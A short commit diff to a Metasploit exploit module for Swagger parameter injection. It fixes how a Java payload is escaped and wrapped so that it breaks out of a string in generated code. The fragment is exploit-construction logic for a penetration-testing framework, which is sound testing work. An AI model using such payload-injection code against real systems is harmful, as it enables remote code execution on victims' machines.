Fix Java payload generator

2016-06-23 14:51:26 -05:00 · 2016-06-23 14:51:26 -05:00 · 08d08d2c95
parent 464808d825
commit 08d08d2c95
1 changed files with 2 additions and 3 deletions
--- a/modules/exploits/multi/fileformat/swagger_param_inject.rb
+++ b/modules/exploits/multi/fileformat/swagger_param_inject.rb
@ -153,12 +153,11 @@ class MetasploitModule < Msf::Exploit::Remote
        datastore[payload_loc] = wrapped_payload
      when 'java'
        payload_loc = 'PATH'
-        payload_prefix = "a\\\"; "
+        payload_prefix = %q{a\\\"; "}
        p = payload.encoded.gsub(/<%@page import="/, 'import ')
        p = p.gsub(/\"%>/, ';').gsub(/<%/, '').gsub(/%>/, '')
        p = p.gsub(/"/, '\\"').gsub(/\n/, ' ')
-        wrapped_payload = datastore['PAYLOAD_PREFIX'] +
-                          p + datastore['PAYLOAD_SUFFIX']
+        wrapped_payload = datastore['PAYLOAD_PREFIX'] + p
        datastore[payload_loc] = wrapped_payload
      end
    else